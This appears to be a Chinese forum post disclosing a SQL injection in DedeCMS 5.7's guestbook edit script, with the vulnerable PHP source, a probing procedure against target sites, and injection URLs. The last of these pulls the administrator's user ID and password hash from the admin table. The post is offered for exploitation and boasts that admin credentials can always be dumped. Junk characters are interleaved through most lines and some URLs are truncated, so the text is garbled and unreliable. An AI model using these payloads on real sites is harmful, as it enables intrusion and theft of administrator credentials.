影响版本为5.7
& j7 ]( K# ?6 j% w% g: |$ ?
0 \3 D4 l1 o6 W漏洞文件edit.inc.php具体代码:; g( C2 z: H8 V/ N
# i/ d2 m! h1 {6 `; J* n< ?php
; z: O" W5 o; F+ G ]7 S
; d6 w- u- K( i/ y( Rif(!defined('DEDEINC')) exit('Request Error!');
3 F0 f4 K3 d1 _# ~
& t9 n/ P0 n; A- ?' z6 G0 x
% L4 ^9 Z1 H& _ }( F0 u5 v' x- @/ F Q) a1 v8 ~ h8 _
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; : A7 P; n2 ?5 \
& e* ~8 I# D% ]1 t* ~
else $GUEST_BOOK_POS = "guestbook.php"; 1 M# f4 i6 H7 {' V/ E
& n9 j, S1 z; k" {
! k; ]# `5 d& i g2 e* s
2 b1 K e/ ?: q6 _+ ?/ Z6 [1 d$ x$id = intval($id); * K9 E% k8 E7 c4 w
' v5 H5 Q* s6 @8 Zif(empty($job)) $job='view'; & E3 p9 n3 q- ~/ o/ ]. e
9 _) f- F8 D# f. E* R" m
6 ~! T* _+ ?/ `+ {- }7 H. D
2 i+ q+ \1 ]5 ]% W
if($job=='del' && $g_isadmin) 1 s0 p5 z' |0 i/ Y# s, h j
; ?' u1 g4 P/ o! C0 u V/ l: B
{ 9 V" b, Y; ^' ~: X9 M) T. A' R! o
# |1 O9 N) A2 o
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
5 J- t9 k4 o7 m ]8 V. \: f8 ?0 \
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
' s2 I" \4 H% S- ?7 ?! b
$ M* F9 w' v; S3 Zexit();
7 X- P7 t, r2 g8 D2 V5 M
5 j1 A# I L. m1 m/ P. s. z$ _}
. U O' @; v! ^# [1 l) j) n' H: X4 f( _+ J, P% G0 D! G
else if($job=='check' && $g_isadmin)
- o7 ]# L% M, Q1 a1 [# c. N# g& ^5 j1 n* d# c
{ 5 X# [' C, k, T1 f- J
5 {2 n' A. ~4 M* w1 \6 r* A8 i
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); a: V3 x. u8 N9 F
: H/ L. t3 ?) j2 d5 c" B$ h
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); 9 P+ m! E* A+ ?+ _$ c( C6 ?
. L( ~, t# ^5 F1 P3 V' m" M1 j
exit(); 5 a* L+ \/ @( k8 d# [ q
' [5 H* V& {; t& g
} + N6 N% d$ U8 Q! ^9 _4 N" R
/ ?5 X8 Q( Q+ v2 ~) \
else if($job=='editok') . r+ T" n4 H% {2 V2 a
& f% G- |3 Z% d' a0 ]
{
9 X; B- x0 G) r2 \( f
9 E( N1 H0 h, b, J$ I+ N$remsg = trim($remsg); z1 J8 _8 M, @ p, m3 e
& O7 ~; r& D; C* r6 ^( I) t% G& {
if($remsg!='')
1 v$ R2 O7 G; ]8 b' z
0 j6 H' p$ J# ]) U0 x/ [{
' x0 p7 \7 {. a% z2 G$ s* z7 A- i6 V. {
//管理员回复不过滤HTML By:Errorera blog:errs.cc 2 y# f+ m1 y! n; Y) [0 a- r L5 s
( m% T/ ` O0 F9 qif($g_isadmin)
& c* U5 U8 t4 H' ?- ?' N/ |% }5 x' y$ D' A& ^5 c3 [
{ . D) d1 W2 D; s# E3 C& r
# p8 K4 ~$ }* ~# |9 p$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 3 L7 L% q6 e- m
5 ?+ \" U8 @4 \; s0 @6 f; L
//$remsg <br /><font color=red>管理员回复:</font> } " K5 i4 J$ j: j% g! ]/ O8 x9 u
$ N' Z8 }) k* pelse
e0 `! Z8 z2 C" v1 _% j( m
% J& c, ^; E1 {{
2 |) j* \; |- _ c3 `- R
0 w$ {3 W4 F) ?# A. p! W$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 2 w: l1 ^: Z. {$ q1 h5 H" b% N
! J; `5 m. J) ?& k$ n
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
, s( H. O/ {2 M4 z% i9 B
} x2 Y; t/ N& p- S$remsg = trimMsg(cn_substrR($remsg, 1024), 1); $ L# x8 [) e" E
, V* n8 A* w w$ Y* h
$msg = $oldmsg.$remsg;
, G% F$ L! |7 G6 E- u# e9 N% h9 a# ^" a! M' `9 ], k: Z
}
% i/ I' X% y% G9 z+ D- C: b& O( P0 P" L. h1 F `
}
. H8 h3 u+ t8 A( ^# d5 V+ P z. L! H0 Y @) l# @) j. J
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc % s/ F2 }" X c' M
! r# W. W- v/ }8 `1 r% v* n7 _. ]
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
9 Q' }! J4 d3 {5 V0 d( S
8 ?: M5 D7 F0 _/ @& M. H0 R+ hShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); ! C( k; |1 e! l1 ~% f$ y* O5 `
* K# q* A2 z8 [. u# h
exit();
( G* y7 d- C. u- k5 y- E
0 O% d& z3 o) D. J) A} ' M2 @, M. K# O) H1 z+ }
( N) A8 w& @! m1 M
//home:www.errs.cc
) _1 G6 }! |/ X$ i( U- H( t+ |
if($g_isadmin) 6 \, k6 U1 m+ M: Z2 Q8 e4 S' C
; ~' e4 h! o: v
{
' l8 T0 u( C5 b& o ~! P' k+ C1 W9 [" D Y
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 2 _- x; c. O) I0 @0 X8 a7 |& F
5 j1 A+ H1 S4 U n) l! _0 }8 arequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
' L) f7 [$ p$ Z* b# {2 @% Y) h9 n, l9 s( X6 M9 S: {
} / z' o5 k" H/ ~6 o, w' {1 C4 t
. Y, a. {3 t6 r6 H+ pelse
* f) D6 O* W4 F
) A/ X4 g6 v) w7 G+ a{
! p6 j6 f( m* m0 W) S$ S& A
" |5 G/ [8 _/ T" @3 I$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
2 U( H& L4 W2 g
/ F& @; b5 U- W& t4 R* n% f4 frequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
: R1 L2 z+ Y9 k) t8 j( \! ~ j
& Z5 L$ Z& A; }$ V" i* n2 F g} 漏洞成功需要条件:
5 @$ k' _+ [3 {* V1. php magic_quotes_gpc=off& Z0 X& Z8 }( R! z v$ T c: k
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。6 U9 P) R5 o+ C: n. ]; |, @, j
. I+ q4 P+ L$ Z" T! u
怎么判断是否存在漏洞:. d [$ x' Y" t# N. ]
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
9 I8 A9 F7 |' ]# |) ]然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID; |3 Q/ h: i0 _% K) F
访问:
y. ?2 S W3 M
- a. T) G, s* L- [. u; j' \www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了7 \4 _9 Y! d1 H7 b5 U* G
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
2 Y2 Z4 K- M9 }: E- S
+ G) [1 }% q' _! g$ r
0 b; l1 u( Q( I2 T' Y; Q8 ?明漏洞无法利用应为他开启了 php magic_quotes_gpc=off: Z5 z5 s; L" {$ v! ]! a B2 a) d0 J
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。6 F/ k! l1 U0 D3 r6 ?7 q" B9 F2 D# o: K
那么再次访问/ o6 \7 P! m! z; t' g* k
5 p& s+ S& x& Q; Swww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
) R/ g7 y) u6 r7 a8 m
$ D! V3 k. d) `5 \# g8 Y* A S大概利用就是这样,大家有兴趣的多研究下!!. P- D" b# x3 Z' V m, l
7 G. m- l8 H) _% \7 C6 `' j3 a) B1 C
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
2 I2 m, w* ~5 r/ c2 m! @
& g% x3 q7 i% ~0 r2 }. i5 i5 k. xview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |